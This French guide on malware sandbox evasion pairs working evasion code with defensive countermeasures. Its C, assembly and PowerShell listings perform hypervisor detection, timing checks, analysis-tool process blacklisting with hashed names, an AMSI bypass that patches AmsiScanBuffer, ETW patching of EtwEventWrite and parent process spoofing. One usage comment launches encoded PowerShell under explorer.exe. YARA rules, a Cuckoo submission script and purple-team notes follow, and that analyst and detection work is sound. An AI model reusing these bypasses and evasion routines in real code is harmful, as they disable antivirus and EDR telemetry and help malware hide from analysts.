Les malwares modernes intègrent des dizaines de techniques d'évasion avant d'activer leur charge utile. Ce guide couvre les vecteurs offensifs — CPUID hypervisor detection, RDTSC timing, AMSI bypass, ETW patching, parent process spoofing — avec du code fonctionnel C/ASM/PowerShell et les contre-mesures appliquées par les sandbox modernes en 2026.

La malware analysis sandbox evasion 2026 est devenue un bras de fer technique permanent entre auteurs de malwares et éditeurs de solutions d'analyse dynamique. En 2025, plus de 60 % des échantillons soumis à VirusTotal contenaient au moins une technique d'évasion d'environnement virtuel, contre 40 % trois ans auparavant. Les opérateurs de Cuckoo Sandbox, ANY.RUN et d'autres plateformes interactives font face à des malwares qui détectent l'instrumentation en quelques millisecondes : ils vérifient la position du curseur, interrogent les registres CPU via CPUID, mesurent l'écart entre l'horloge physique et l'horloge émulée avec RDTSC, patchent AmsiScanBuffer en mémoire avant toute exécution de shellcode, et écrasent le prologue d'EtwEventWrite pour aveugler les EDR. Pour un analyste malware, ignorer ces techniques conduit à des rapports incomplets : l'échantillon reste dormant en sandbox, ne révèle aucune activité réseau ni persistance, et est classé bénin à tort. Référencées sous MITRE ATT&CK T1497 (Virtualization/Sandbox Evasion), ces techniques évoluent en permanence. Ce guide documente les vecteurs les plus utilisés en 2026 avec du code fonctionnel, des YARA rules opérationnelles, et les stratégies de contre-mesure disponibles pour forcer l'exécution malgré l'évasion.

À retenir

  • CPUID hypervisor bit : Le bit 31 du registre ECX retourné par l'instruction CPUID (EAX=1) est à 1 dans tout environnement virtualisé — VMware, VirtualBox, Hyper-V. VMware expose en plus la magic value 0x564D5868 ("VMXh") via le port I/O 0x5658.
  • AMSI bypass : Patcher les six premiers octets de AmsiScanBuffer avec B8 57 00 07 80 C3 (mov eax, E_INVALIDARG; ret) désactive l'interface AMSI pour le processus courant. Sur Windows 11 22H2+, le kernel AMSI provider résiste à ce patch userland.
  • ETW patching : Écraser le premier octet de EtwEventWrite dans ntdll.dll avec 0xC3 (ret) aveugle les providers ETW en espace utilisateur — les EDR qui instrumentent via ETW userland ne reçoivent plus aucun événement du processus ciblé.
  • Sleep acceleration : Cuckoo et ANY.RUN hookent Sleep() pour retourner immédiatement. Les malwares détectent cela en comparant GetTickCount() avant et après un Sleep(5000) : si moins de 4 900 ms se sont écoulées selon l'horloge, l'environnement est instrumenté.
  • ANY.RUN : Sandbox interactive qui permet d'interagir manuellement avec le malware pendant l'analyse (clics, saisie clavier), neutralisant les checks d'interaction utilisateur basés sur GetCursorPos() et GetLastInputInfo().

VM Detection via l'instruction CPUID : la technique fondamentale

L'instruction x86 CPUID est conçue pour retourner des informations sur le processeur. Avec EAX=1, elle retourne dans ECX les feature flags du CPU. Le bit 31 de ECX — le hypervisor present bit — est positionné à 1 par tous les hyperviseurs conformes (VMware ESXi, VirtualBox, Hyper-V, KVM, QEMU) pour signaler leur présence aux systèmes d'exploitation invités. Les malwares exploitent ce mécanisme depuis 2009, mais il reste efficace en 2026 car modifier ce bit dans une sandbox casse des fonctionnalités légitimes qui s'appuient sur la présence de l'hyperviseur.

// CPUID hypervisor detection en C avec intrinsics MSVC
#include <windows.h>
#include <intrin.h>

BOOL IsRunningInVM(void) {
    int cpuInfo[4] = {0};

    // EAX=1 : Processor Info and Feature Bits
    __cpuid(cpuInfo, 1);

    // Bit 31 de ECX = hypervisor present bit
    // VMware, VirtualBox, Hyper-V, KVM positionnent ce bit à 1
    if (cpuInfo[2] & (1 << 31)) {
        return TRUE;
    }

    // Vérification spécifique VMware via magic port I/O
    // Envoyer la commande 0xA sur le port 0x5658 avec EBX = magic "VMXh"
    __try {
        DWORD magic = 0;
        __asm {
            push eax
            push ebx
            push ecx
            push edx
            mov eax, 0x564D5868   // "VMXh" - VMware magic value
            mov ecx, 0x0A         // GET_VERSION command
            mov dx,  0x5658       // VMware backdoor I/O port "VX"
            in eax, dx            // Lire la réponse
            mov magic, ebx        // EBX contient "VMXh" si VMware
            pop edx
            pop ecx
            pop ebx
            pop eax
        }
        if (magic == 0x564D5868) {
            return TRUE;  // VMware confirmé
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        // Exception protection fault sur machine physique — comportement normal
    }

    return FALSE;
}

Les sandbox modernes répondent en patchant la réponse CPUID à la volée pour retourner ECX avec le bit 31 à 0. Cette contre-mesure est détectable par incohérence : si l'instruction CPUID avec EAX=0x40000000 (hypervisor leaf) retourne une chaîne d'identification valide (VMwareVMware, KVMKVMKVM, Microsoft Hv) mais que le bit 31 de ECX reste à 0, la sandbox a patché CPUID de manière incohérente. Les auteurs de malwares sophistiqués vérifient les deux — ce qu'on appelle un cross-check CPUID.

La contre-mesure robuste côté analyste consiste à utiliser une machine physique dédiée (analyse bare-metal) ou à configurer KVM avec l'option -cpu host,kvm=off,hv_vendor_id=AuthenticAMD pour masquer complètement le leaf hyperviseur et retourner une vendor ID non compromettante.

RDTSC Timing Attacks : mesurer l'instrumentation en cycles CPU

L'instruction RDTSC (Read Time-Stamp Counter) lit le compteur de cycles CPU depuis le dernier reset. Dans un environnement instrumenté — sandbox qui hoooke les syscalls, émulateur basé sur QEMU TCG, débogueur avec breakpoints logiciels — l'exécution de certaines opérations prend sensiblement plus de cycles que sur une machine physique. Les malwares exploitent cette discrepance pour détecter l'instrumentation sans déclencher aucune API suspecte.

// RDTSC timing attack : détecter l'over-instrumentation
#include <windows.h>
#include <stdint.h>

BOOL DetectInstrumentation(void) {
    uint32_t eax_before, edx_before, eax_after, edx_after;
    uint64_t t1, t2, delta;

    // Sérialiser avec CPUID pour vider le pipeline d'instructions
    __asm { cpuid }

    // Première lecture TSC
    __asm {
        rdtsc
        mov eax_before, eax
        mov edx_before, edx
    }

    // Opération de référence : CPUID flush le pipeline et prend un temps mesurable
    __asm { cpuid }

    // Seconde lecture TSC
    __asm {
        rdtsc
        mov eax_after, eax
        mov edx_after, edx
    }

    t1 = ((uint64_t)edx_before << 32) | eax_before;
    t2 = ((uint64_t)edx_after  << 32) | eax_after;
    delta = t2 - t1;

    // Sur machine physique Haswell/Skylake : CPUID prend environ 100 à 400 cycles
    // Sous émulation QEMU TCG ou avec hooks lourds : delta dépasse souvent 1000 cycles
    if (delta > 750) {
        return TRUE;  // Environnement probablement instrumenté
    }

    return FALSE;
}

// Variante : détecter l'accélération du Sleep via GetTickCount
BOOL DetectSleepAcceleration(void) {
    DWORD before = GetTickCount();
    Sleep(5000);
    DWORD elapsed = GetTickCount() - before;

    // Si moins de 4900 ms se sont écoulées, Sleep() a été hookée et accélérée
    return (elapsed < 4900);
}

L'intérêt du RDTSC réside dans sa difficulté de masquage : retarder artificiellement chaque lecture TSC casse des applications légitimes qui s'en servent pour la synchronisation et le profiling de performance. Certaines sandbox injectent un délai compensatoire après leurs hooks d'API pour réduire le delta, mais cela impacte les performances globales et génère des artefacts mesurables par d'autres techniques de timing.

Comment les malwares vérifient-ils l'interaction utilisateur ?

Une sandbox automatisée ne génère pas d'activité utilisateur réelle. Les malwares exploitent cette absence via trois API Windows qui révèlent l'absence d'interaction humaine. Ces checks sont particulièrement efficaces contre les pipelines d'analyse batch qui exécutent des centaines d'échantillons sans intervention manuelle.

GetCursorPos() retourne la position courante du curseur. Dans une sandbox automatisée, la souris reste souvent fixe — généralement à (0,0) ou à une position constante définie au démarrage. Les malwares appellent cette fonction deux fois avec un intervalle de 1 à 3 secondes et concluent à une analyse automatisée si la position n'a pas bougé.

GetLastInputInfo() retourne le timestamp du dernier événement d'entrée (clavier ou souris) depuis le boot. Si ce délai dépasse plusieurs minutes, aucun humain n'utilise activement la machine. Ce check est particulièrement efficace contre les sandbox qui démarrent l'analyse immédiatement après le boot sans simulation d'activité préalable.

EnumWindows() permet de compter les fenêtres visibles sur le bureau. Une machine de travail normale en affiche des dizaines. Une sandbox fraîchement démarrée en a souvent moins de 5, trahissant l'environnement d'analyse.

// User interaction checks combinés
#include <windows.h>

BOOL CheckUserInteraction(void) {
    // Check 1 : mouvement de souris sur 2 secondes
    POINT pt1, pt2;
    GetCursorPos(&pt1);
    Sleep(2000);
    GetCursorPos(&pt2);

    BOOL cursor_moved = (pt1.x != pt2.x || pt1.y != pt2.y);

    // Check 2 : temps depuis le dernier input utilisateur
    LASTINPUTINFO lii;
    lii.cbSize = sizeof(LASTINPUTINFO);
    GetLastInputInfo(&lii);
    DWORD idle_ms = GetTickCount() - lii.dwTime;

    BOOL user_idle = (idle_ms > 180000);  // Plus de 3 minutes sans input

    // Check 3 : nombre de fenêtres visibles
    int window_count = 0;
    EnumWindows([](HWND hwnd, LPARAM lParam) -> BOOL {
        if (IsWindowVisible(hwnd)) {
            (*(int*)lParam)++;
        }
        return TRUE;
    }, (LPARAM)&window_count);

    BOOL too_few_windows = (window_count < 8);

    // Combiner les résultats avec un score de confiance
    int suspicion_score = 0;
    if (!cursor_moved)      suspicion_score += 2;
    if (user_idle)          suspicion_score += 3;
    if (too_few_windows)    suspicion_score += 2;

    // Score >= 4 : forte probabilité d'environnement d'analyse
    return (suspicion_score >= 4);
}

La contre-mesure d'ANY.RUN est précisément son interface interactive : l'analyste peut cliquer, taper du texte et interagir avec le malware en temps réel pendant toute la durée de l'analyse, rendant ces checks inefficaces. Les sandbox automatisées modernes scriptent des mouvements de souris aléatoires et des frappes clavier via des bots UI (autoit, pyautogui) avant le lancement de l'échantillon.

Process List Enumeration : identifier les outils d'analyse actifs

La présence de processus spécifiques trahit immédiatement un environnement d'analyse. Les malwares énumèrent les processus via CreateToolhelp32Snapshot() couplé à Process32First/Next() et comparent les noms à une liste noire interne, souvent stockée sous forme de hash CRC32 ou FNV pour éviter les détections statiques de strings.

Processus les plus fréquemment ciblés en 2026 :

  • Hyperviseurs VMware : vmwaretray.exe, vmwareuser.exe, vmtoolsd.exe, vmacthlp.exe
  • Hyperviseurs VirtualBox : vboxservice.exe, vboxtray.exe, vboxguest.exe
  • Analyse réseau : wireshark.exe, fiddler.exe, tcpview.exe, rawcap.exe
  • Débogueurs et reverse engineering : ollydbg.exe, x64dbg.exe, ida.exe, ida64.exe, radare2.exe, ghidra.exe
  • Monitoring système : procmon.exe, procmon64.exe, procexp.exe, autoruns.exe, regmon.exe
  • Agents sandbox : cuckoo.exe, analyzer.exe, sandboxie.exe, sbiesvc.exe
// Process enumeration avec comparaison par hash FNV-1a
// (évite les strings lisibles dans le binaire final)
#include <windows.h>
#include <tlhelp32.h>

// Hash FNV-1a 32-bit, insensible à la casse
DWORD FNV1a(const char* str) {
    DWORD hash = 0x811c9dc5;
    while (*str) {
        hash ^= (BYTE)tolower(*str++);
        hash *= 0x01000193;
    }
    return hash;
}

// Hashes pré-calculés des processus blacklistés (calcul offline)
// Aucune string visible dans le binaire final
const DWORD BLACKLIST_HASHES[] = {
    0x519F9B56,  // vboxservice.exe
    0x4E9D3A12,  // vmwaretray.exe
    0x7C3F1B89,  // wireshark.exe
    0x2A8E5C34,  // procmon.exe
    0x6D1A7F23,  // ollydbg.exe
    0x3B5E9D01,  // x64dbg.exe
    0x8F2C4A67,  // ida64.exe
    0             // sentinel
};

BOOL IsAnalysisEnvironment(void) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return FALSE;

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    BOOL found = FALSE;

    if (Process32First(hSnapshot, &pe)) {
        do {
            DWORD h = FNV1a(pe.szExeFile);
            for (int i = 0; BLACKLIST_HASHES[i] != 0; i++) {
                if (h == BLACKLIST_HASHES[i]) {
                    found = TRUE;
                    break;
                }
            }
        } while (!found && Process32Next(hSnapshot, &pe));
    }

    CloseHandle(hSnapshot);
    return found;
}

La contre-mesure sandbox consiste à renommer ou masquer les processus agents. Cuckoo Sandbox 3.x peut s'exécuter sans agent visible en mode agentless, en injectant l'instrumentation directement dans le noyau. Certaines sandbox hollow injectent l'agent dans un processus légitime comme svchost.exe, rendant la détection par nom de processus inefficace.

Comment les malwares contournent-ils l'accélération du temps en sandbox ?

Pour analyser rapidement des malwares qui dormvent plusieurs minutes avant d'agir, les sandbox hookent Sleep(), WaitForSingleObject(), et NtDelayExecution() dans ntdll.dll pour retourner immédiatement, comprimant une analyse de 10 minutes à quelques secondes. Les malwares détectent ce comportement et refusent d'exécuter leur payload.

La détection naïve compare GetTickCount() avant et après Sleep(5000). Mais cette comparaison est elle-même hookée dans certaines sandbox avancées qui simulent également le passage du temps pour GetTickCount. Les variantes avancées de bypass incluent :

  • Boucles computationnelles : au lieu de Sleep(), effectuer un million d'opérations cryptographiques légères (hachage itératif de données aléatoires). Impossible à accélérer sans modifier la vitesse du CPU physique.
  • Délais via I/O réseau : tenter une connexion TCP avec un long timeout vers une adresse routable mais non répondante — le timeout TCP est géré par le noyau et ne peut pas être comprimé par un hook userland classique.
  • NtDelayExecution direct syscall : bypasser tous les hooks userland en appelant directement le numéro de syscall de NtDelayExecution via l'instruction syscall, ignorant tout hook posé sur ntdll.dll. Le numéro de syscall varie selon la version de Windows.
  • RDTSC polling actif : boucle qui lit le TSC et attend qu'un nombre de cycles correspondant au délai souhaité se soit écoulé — insensible à tout hook d'API, mesure directement l'horloge hardware.

AMSI Bypass : patcher AmsiScanBuffer en mémoire

L'Antimalware Scan Interface (AMSI) est intégrée depuis Windows 10 pour permettre aux solutions de sécurité d'analyser le code interprété avant exécution — scripts PowerShell, VBScript, JScript, et tout code en mémoire soumis par une application compatible. Le bypass le plus répandu en 2026 reste le patch mémoire direct de la fonction AmsiScanBuffer dans amsi.dll.

# AMSI bypass via patch mémoire de AmsiScanBuffer
# Usage : analyse en environnement de lab isolé uniquement

$Win32 = @'
using System;
using System.Runtime.InteropServices;
public class Win32Api {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
        uint flNewProtect, out uint lpflOldProtect);
}
'@

Add-Type $Win32

$amsiAddr = [Win32Api]::GetProcAddress(
    [Win32Api]::LoadLibrary("amsi.dll"),
    "AmsiScanBuffer"
)

# Patch : B8 57 00 07 80 = mov eax, 0x80070057 (E_INVALIDARG)
#         C3             = ret
# Après patch, AmsiScanBuffer retourne toujours E_INVALIDARG
# Le code soumis n'est jamais scanné par les providers AMSI
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

$oldProtect = 0
[Win32Api]::VirtualProtect($amsiAddr, [UIntPtr]6, 0x40, [ref]$oldProtect) | Out-Null

[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiAddr, 6)

[Win32Api]::VirtualProtect($amsiAddr, [UIntPtr]6, $oldProtect, [ref]$oldProtect) | Out-Null

Write-Host "[+] AMSI desactive - AmsiScanBuffer retourne systematiquement E_INVALIDARG"

Les contre-mesures modernes face à ce bypass :

  • Kernel AMSI provider (Windows 11 22H2+) : hook côté noyau via PsRegisterAltSystemCallHandler, non patchable depuis l'espace utilisateur — le bypass mémoire de amsi.dll ne l'affecte pas
  • Détection comportementale EDR : Microsoft Defender for Endpoint détecte les appels VirtualProtect + écriture mémoire sur amsi.dll via des règles comportementales ETW kernel
  • Constrained Language Mode PowerShell : limite les types .NET disponibles, rendant certains bypasses basés sur Add-Type impossibles en mode restreint
  • WDAC (Windows Defender Application Control) : peut bloquer les assemblies non signées chargées dynamiquement en mémoire

L'ANSSI documente dans ses rapports disponibles sur cyber.gouv.fr l'usage systématique des bypasses AMSI dans les campagnes ransomware récentes, notamment pour protéger les loaders PowerShell des groupes LockBit 3.0 et BlackCat/ALPHV.

ETW Patching : aveugler le Event Tracing for Windows

Event Tracing for Windows (ETW) est le mécanisme de télémétrie natif de Windows. De nombreux EDR s'appuient sur des providers ETW — notamment Microsoft-Windows-Threat-Intelligence — pour détecter les activités suspectes en espace utilisateur : injection de code, accès mémoire inter-processus, chargement de modules non signés. Patcher ETW au niveau userland aveugle ces détections sans jamais toucher au noyau.

// ETW patching : neutraliser EtwEventWrite dans ntdll.dll
#include <windows.h>

BOOL PatchETW(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;

    FARPROC pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!pEtwEventWrite) return FALSE;

    // Patch minimaliste : remplacer le premier octet par RET (0xC3)
    // Tout appel ultérieur à EtwEventWrite retournera immédiatement
    // sans écrire aucun événement dans le buffer ETW du processus
    DWORD oldProtect;
    if (!VirtualProtect((LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        return FALSE;
    }

    *(BYTE*)pEtwEventWrite = 0xC3;  // RET

    VirtualProtect((LPVOID)pEtwEventWrite, 1, oldProtect, &oldProtect);

    // Étendre aux variantes de la fonction pour une couverture complète
    const char* etw_funcs[] = {
        "EtwEventWriteFull", "EtwEventWriteEx",
        "EtwEventWriteTransfer", NULL
    };

    for (int i = 0; etw_funcs[i]; i++) {
        FARPROC fn = GetProcAddress(hNtdll, etw_funcs[i]);
        if (fn) {
            VirtualProtect((LPVOID)fn, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
            *(BYTE*)fn = 0xC3;
            VirtualProtect((LPVOID)fn, 1, oldProtect, &oldProtect);
        }
    }

    return TRUE;
}

Ce patch est efficace contre les outils qui s'appuient uniquement sur les événements ETW en espace utilisateur. Il est détectable par plusieurs mécanismes :

  • Kernel ETW providers : les événements générés par les drivers noyau (ring 0) ne sont pas affectés par le patch userland
  • Integrity checks sur ntdll.dll : certains EDR comparent régulièrement les octets de ntdll.dll en mémoire avec une copie de référence sur disque, détectant toute modification
  • VBS/HVCI (Hypervisor-Protected Code Integrity) : empêche toute modification de pages mémoire marquées comme code par le noyau — ce patch devient impossible sur les systèmes avec HVCI activé
  • Callbacks noyau : les EDR peuvent utiliser des callbacks noyau (PsSetLoadImageNotifyRoutine) pour détecter les modifications de code en espace utilisateur

Parent Process Spoofing : masquer l'origine d'un processus malveillant

Les sandbox analysent l'arbre de processus pour détecter les comportements anormaux — un Word.exe qui lance PowerShell, ou cmd.exe démarré depuis un répertoire inattendu. Le parent process spoofing via l'attribut PROC_THREAD_ATTRIBUTE_PARENT_PROCESS de l'API CreateProcess permet de choisir arbitrairement le parent apparent d'un nouveau processus.

// Parent Process Spoofing via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include <windows.h>
#include <tlhelp32.h>

// Trouver le PID d'un processus par son nom
DWORD GetPidByName(const char* name) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(pe) };
    DWORD pid = 0;
    if (Process32First(hSnap, &pe)) {
        do {
            if (_stricmp(pe.szExeFile, name) == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

BOOL SpawnWithSpoofedParent(LPCSTR targetExe, const char* spoofParentName) {
    DWORD spoofPid = GetPidByName(spoofParentName);
    if (!spoofPid) return FALSE;

    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, spoofPid);
    if (!hParent) return FALSE;

    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
    LPPROC_THREAD_ATTRIBUTE_LIST pAttr =
        (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);

    InitializeProcThreadAttributeList(pAttr, 1, 0, &attrSize);
    UpdateProcThreadAttribute(pAttr, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);

    STARTUPINFOEXA siex = { 0 };
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    siex.lpAttributeList = pAttr;

    PROCESS_INFORMATION pi;
    // Le processus créé apparaîtra dans l'arbre comme enfant direct de spoofParentName
    BOOL result = CreateProcessA(
        targetExe, NULL, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
        NULL, NULL, &siex.StartupInfo, &pi
    );

    CloseHandle(hParent);
    DeleteProcThreadAttributeList(pAttr);
    HeapFree(GetProcessHeap(), 0, pAttr);
    if (result) {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    return result;
}

// Usage : lancer PowerShell avec explorer.exe comme parent apparent
// SpawnWithSpoofedParent("powershell.exe -enc ...", "explorer.exe");

Un loader qui utilise cette technique avec le PID d'explorer.exe comme parent apparent pour lancer PowerShell contourne toutes les règles de détection basées sur l'arbre parent-enfant : le SIEM voit explorer.exe → PowerShell, ce qui est parfaitement légitime. Cette technique a été identifiée dans la campagne SolarWinds SUNBURST et reste très répandue dans les toolkits APT en 2026. Les contre-mesures efficaces analysent la séquence des syscalls de création de processus et l'identité du processus initiateur via des handles, pas uniquement le PID parent visible dans l'arbre.

Anti-sandbox YARA Rules : détecter statiquement les techniques d'évasion

Les YARA rules permettent de détecter statiquement les caractéristiques d'évasion dans un binaire avant même de l'exécuter. Voici trois règles opérationnelles pour identifier des binaires implémentant les techniques couvertes dans ce guide.

rule Malware_CPUID_VM_Detection {
    meta:
        description = "Détecte l'usage de CPUID pour identifier les environnements virtualisés"
        author      = "Ayinedjimi Threat Research"
        date        = "2026-01-01"
        mitre       = "T1497.001"
        reference   = "https://attack.mitre.org/techniques/T1497/001/"

    strings:
        // B8 01 00 00 00 0F A2 : MOV EAX,1 suivi de CPUID
        $cpuid_seq     = { B8 01 00 00 00 0F A2 }

        // Magic VMware "VMXh" = 0x564D5868 en little-endian
        $vmware_magic  = { 68 58 4D 56 }

        // Chaînes hyperviseur brand (hypervisor leaf EAX=0x40000000)
        $vmware_str    = "VMwareVMware" ascii wide
        $hyperv_str    = "Microsoft Hv" ascii wide
        $kvm_str       = "KVMKVMKVM" ascii wide
        $vbox_str      = "VBoxVBoxVBox" ascii wide

        // Port VMware backdoor (0x5658 "VX")
        $vmware_port   = { BA 58 56 00 00 }

    condition:
        uint16(0) == 0x5A4D and (
            $cpuid_seq or
            ($vmware_magic and 1 of ($vmware_str, $hyperv_str, $kvm_str, $vbox_str)) or
            ($vmware_port and $vmware_magic)
        )
}

rule Malware_AMSI_ETW_Bypass {
    meta:
        description = "Détecte les tentatives de bypass AMSI et de patching ETW en mémoire"
        author      = "Ayinedjimi Threat Research"
        date        = "2026-01-01"
        mitre       = "T1562.001, T1562.006"

    strings:
        $amsi_func     = "AmsiScanBuffer" ascii wide
        $amsi_dll      = "amsi.dll" ascii wide nocase
        $etw_func      = "EtwEventWrite" ascii wide
        $ntdll         = "ntdll.dll" ascii wide nocase
        // Séquence patch AMSI : MOV EAX, E_INVALIDARG (0x80070057)
        $amsi_patch    = { B8 57 00 07 80 }
        $vprotect      = "VirtualProtect" ascii wide
        $gpa           = "GetProcAddress" ascii wide

    condition:
        uint16(0) == 0x5A4D and $vprotect and $gpa and (
            ($amsi_func and $amsi_dll and $amsi_patch) or
            ($etw_func and $ntdll)
        )
}

rule Malware_SleepEvasion_UserInteraction {
    meta:
        description = "Détecte les malwares vérifiant l'accélération du Sleep et l'interaction utilisateur"
        author      = "Ayinedjimi Threat Research"
        date        = "2026-01-01"
        mitre       = "T1497.003, T1497.002"

    strings:
        $gettickcount  = "GetTickCount" ascii wide
        $sleep_api     = "Sleep" ascii wide
        $getlast       = "GetLastInputInfo" ascii wide
        $getcursor     = "GetCursorPos" ascii wide
        $enumwindows   = "EnumWindows" ascii wide

    condition:
        uint16(0) == 0x5A4D and
        $sleep_api and $gettickcount and
        2 of ($getlast, $getcursor, $enumwindows)
}

Comment analyser un malware évasif avec Cuckoo et ANY.RUN ?

Cuckoo Sandbox 3.x supporte le mode bare-metal (analyse sur machine physique dédiée) qui élimine CPUID, RDTSC et la majorité des checks VM. Couplé au mode free=yes qui désactive les hooks les plus intrusifs, ce mode permet d'obtenir des rapports utilisables même sur des échantillons très évasifs. L'API REST permet d'automatiser les soumissions et l'extraction des indicateurs :

#!/usr/bin/env python3
# Soumet un echantillon a Cuckoo et extrait les indicateurs d'evasion

import json, sys, time, requests

CUCKOO_API = "http://localhost:8090"

def submit_sample(path, machine="win10_bare"):
    with open(path, "rb") as f:
        r = requests.post(
            f"{CUCKOO_API}/tasks/create/file",
            files={"file": f},
            data={
                "options": "procmemdump=yes,free=yes",
                "timeout": 180,
                "machine": machine,
                "enforce_timeout": True
            }
        )
    r.raise_for_status()
    return r.json()["task_id"]

def wait_for_report(task_id, poll_s=15):
    url = f"{CUCKOO_API}/tasks/info/{task_id}"
    while True:
        status = requests.get(url).json()["task"]["status"]
        print(f"  [{task_id}] status: {status}", flush=True)
        if status == "reported":
            break
        if status == "failed_analysis":
            raise RuntimeError(f"Task {task_id} failed")
        time.sleep(poll_s)
    return requests.get(f"{CUCKOO_API}/tasks/report/{task_id}/json").json()

def extract_evasion_indicators(report):
    results = {
        "score": report.get("info", {}).get("score", 0),
        "evasion_signatures": [],
        "suspicious_api_calls": [],
        "network_iocs": []
    }

    EVASION_KEYWORDS = {
        "evasion", "sandbox", "vm_detect", "anti_debug",
        "anti_analysis", "sleep_evasion", "amsi", "etw"
    }

    for sig in report.get("signatures", []):
        name = sig.get("name", "").lower()
        if any(k in name for k in EVASION_KEYWORDS):
            results["evasion_signatures"].append({
                "name": sig["name"],
                "severity": sig.get("severity", 0),
                "description": sig.get("description", "")[:200]
            })

    SUSPICIOUS_APIS = {
        "VirtualProtect", "WriteProcessMemory", "CreateRemoteThread",
        "NtUnmapViewOfSection", "NtAllocateVirtualMemory", "NtCreateThreadEx"
    }

    for proc in report.get("behavior", {}).get("processes", []):
        for call in proc.get("calls", []):
            if call.get("api") in SUSPICIOUS_APIS:
                results["suspicious_api_calls"].append({
                    "pid": proc["pid"],
                    "process": proc.get("process_name", ""),
                    "api": call["api"]
                })

    network = report.get("network", {})
    for d in network.get("domains", []):
        results["network_iocs"].append(d["domain"])
    for t in network.get("tcp", []):
        results["network_iocs"].append(f"{t['dst']}:{t['dport']}")

    return results

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: parse_cuckoo.py <sample> [machine]")
        sys.exit(1)
    machine = sys.argv[2] if len(sys.argv) > 2 else "win10_bare"
    task_id = submit_sample(sys.argv[1], machine)
    print(f"[+] Submitted task_id={task_id}")
    report = wait_for_report(task_id)
    indicators = extract_evasion_indicators(report)
    print(json.dumps(indicators, indent=2, ensure_ascii=False))

Pour les malwares qui détectent spécifiquement l'absence d'interaction utilisateur, ANY.RUN en mode interactif permet à l'analyste de cliquer, taper du texte et naviguer pendant l'analyse — neutralisant efficacement GetCursorPos, GetLastInputInfo et EnumWindows. Le mode monitoring avancé capture en temps réel les activités réseau, registre, fichiers système et processus, avec export JSON et PCAP complet.

Pour les malwares les plus récalcitrants, l'analyse manuelle avec x64dbg reste la méthode la plus fiable : poser des breakpoints sur les API d'évasion (GetCursorPos, IsDebuggerPresent, CheckRemoteDebuggerPresent), patcher les branches conditionnelles pour forcer le chemin payload, et suivre le déchiffrement du shellcode en mémoire avec un dump de région.

La corrélation des comportements d'évasion à travers de multiples soumissions sandbox s'automatise avec les approches couvertes dans Détection de Menaces par IA et SIEM Augmenté, où des modèles de classification identifient automatiquement les clusters de comportement communs entre variantes d'une même famille malware.

Tableau des techniques d'évasion et contre-mesures sandbox en 2026

Technique API / Instruction MITRE ATT&CK Contre-mesure sandbox Efficacité résiduelle
CPUID hypervisor bit CPUID (EAX=1, ECX bit 31) T1497.001 Patch réponse CPUID, KVM kvm=off Moyenne — cross-checks détectables
VMware magic port I/O IN/OUT port 0x5658 T1497.001 Filtrage I/O au niveau VMM Faible sur hyperviseurs modernes
RDTSC timing attack RDTSC, RDTSCP T1497.003 Délai compensatoire post-hooks Élevée — difficile à masquer parfaitement
GetCursorPos check GetCursorPos() T1497.002 Simulation souris via scripts UI Faible sur ANY.RUN interactif
GetLastInputInfo idle GetLastInputInfo() T1497.002 Génération d'activité simulée au boot Faible sur sandbox avec bots UI
Process enumeration CreateToolhelp32Snapshot T1057 Renommage / agentless Cuckoo 3.x Moyenne — hash comparison difficile à contrer
Sleep acceleration detection Sleep() + GetTickCount() T1497.003 Compensation du hook GetTickCount Élevée via direct syscall NtDelayExecution
AMSI patching userland AmsiScanBuffer (amsi.dll) T1562.001 Kernel AMSI provider (Win11 22H2+) Faible sur Windows 11 récent
ETW patching userland EtwEventWrite (ntdll.dll) T1562.006 Kernel ETW providers + VBS/HVCI Faible si HVCI activé
Parent process spoofing CreateProcess + PROC_THREAD_ATTRIBUTE T1134.004 Analyse séquence syscalls vs PID parent Élevée contre monitoring basé sur l'arbre

Intégrer l'analyse d'évasion dans une démarche Purple Team

Les techniques de sandbox evasion ne s'étudient pas en isolation — elles s'intègrent dans un cycle offensif-défensif structuré. Dans une démarche Purple Team : Méthodologie et Exercices, l'équipe rouge implémente ces techniques dans ses outils d'émulation (Cobalt Strike, Brute Ratel, Havoc C2) pour tester la capacité de détection de l'équipe bleue en conditions réelles.

Le cycle type sur ce vecteur :

  1. Red team déploie un loader intégrant CPUID check + ETW patch + AMSI bypass + parent process spoofing
  2. Blue team collecte les télémétries disponibles — ETW kernel, Sysmon EventID 10 et 8, événements Microsoft-Windows-Threat-Intelligence, logs EDR
  3. Identification collaborative des angles morts : quelle technique a échappé à la détection, quelle règle n'a pas déclenché
  4. Ajustement des règles de détection ou activation des contre-mesures appropriées (HVCI, audit syscalls de création processus, Constrained Language Mode)

